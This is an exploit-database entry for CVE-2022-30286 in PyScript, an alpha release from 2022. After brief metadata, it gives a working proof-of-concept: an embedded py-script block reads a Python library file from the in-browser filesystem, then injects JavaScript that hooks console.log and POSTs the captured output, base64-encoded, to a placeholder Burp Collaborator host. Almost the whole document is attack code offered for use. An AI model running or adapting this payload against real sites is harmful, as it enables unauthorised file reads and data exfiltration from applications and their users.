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PyScript - Read Remote Python Source Code Vulnerability

Author
Momen Eldawakhly
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-37720
Category
remote exploits
Date add
12-05-2022
CVE
CVE-2022-30286
Platform
python
# Exploit Title: PyScript Remote Emscripten VMemory Python libraries
Source Codes Read
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://pyscript.net/
# Software Link: https://github.com/pyscript/pyscript
# Version: 2022-05-04-Alpha
# Tested on: Ubuntu Apache Server
# CVE : CVE-2022-30286

<py-script>
x = "CyberGuy"
if x == "CyberGuy":
    with open('/lib/python3.10/asyncio/tasks.py') as output:
        contents = output.read()
        print(contents)
print('<script>console.pylog = console.log; console.logs = []; console.log = function(){     console.logs.push(Array.from(arguments));     console.pylog.apply(console, arguments);fetch("http://YOURburpcollaborator.net/", {method: "POST",headers: {"Content-Type": "text/plain;charset=utf-8"},body: JSON.stringify({"content": btoa(console.logs)})});}</script>')
</py-script>

#  0day.today [2024-06-28]  #